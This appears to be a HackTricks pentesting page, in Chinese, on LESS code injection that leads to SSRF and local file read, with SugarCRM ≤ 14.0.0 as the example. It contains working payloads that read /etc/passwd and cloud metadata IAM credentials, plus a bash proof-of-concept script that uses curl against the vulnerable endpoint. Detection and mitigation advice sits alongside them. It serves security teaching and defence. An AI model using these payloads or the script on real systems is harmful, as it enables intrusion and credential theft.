hacktricks/src/pentesting-web/less-code-injection-ssrf.md

76 lines
3.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# LESS 代码注入导致 SSRF 和本地文件读取
{{#include ../banners/hacktricks-training.md}}
## 概述
LESS 是一种流行的 CSS 预处理器,添加了变量、混合、函数和强大的 `@import` 指令。在编译过程中LESS 引擎将 **获取 `@import`** 语句中引用的资源,并在使用 `(inline)` 选项时将其内容嵌入(“内联”)到生成的 CSS 中。
当一个应用程序将 **用户控制的输入** 连接到一个字符串中,该字符串随后被 LESS 编译器解析时,攻击者可以 **注入任意 LESS 代码**。通过滥用 `@import (inline)`,攻击者可以强迫服务器检索:
* 通过 `file://` 协议的本地文件(信息泄露 / 本地文件包含)。
* 内部网络或云元数据服务上的远程资源SSRF
这种技术已在现实世界的产品中出现,例如 **SugarCRM ≤ 14.0.0**`/rest/v10/css/preview` 端点)。
## 利用
1. 识别一个直接嵌入在 LESS 引擎处理的样式表字符串中的参数例如SugarCRM 中的 `?lm=`)。
2. 关闭当前语句并注入新指令。最常见的原语是:
* `;` 终止前一个声明。
* `}` 关闭前一个块(如果需要)。
3. 使用 `@import (inline) '<URL>';` 读取任意资源。
4. 可选地在导入后注入一个 **标记**`data:` URI以便于从编译的 CSS 中提取获取的内容。
### 本地文件读取
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
`/etc/passwd` 的内容将在 HTTP 响应中出现在 `@@END@@` 标记之前。
### SSRF 云元数据
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### 自动化 PoC (SugarCRM 示例)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## 检测
* 寻找包含未清理查询参数的动态生成的 `.less``.css` 响应。
* 在代码审查中,搜索传递给 LESS 渲染函数的构造,如 `"@media all { .preview { ... ${userInput} ... } }"`
* 利用尝试通常包括 `@import``(inline)``file://``http://169.254.169.254` 等。
## 缓解措施
* **不要** 将不可信的数据传递给 LESS 编译器。
* 如果需要动态值,正确地 **转义**/清理它们(例如,限制为数字标记,白名单)。
* 尽可能禁用使用 `(inline)` 导入的能力,或将允许的协议限制为 `https`
* 保持依赖项更新 SugarCRM 在版本 13.0.4 和 14.0.1 中修复了此问题。
## 现实案例
| 产品 | 漏洞端点 | 影响 |
|---------|--------------------|--------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | 未经身份验证的 SSRF 和本地文件读取 |
## 参考
* [SugarCRM ≤ 14.0.0 (css/preview) LESS 代码注入漏洞](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM 安全咨询 SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}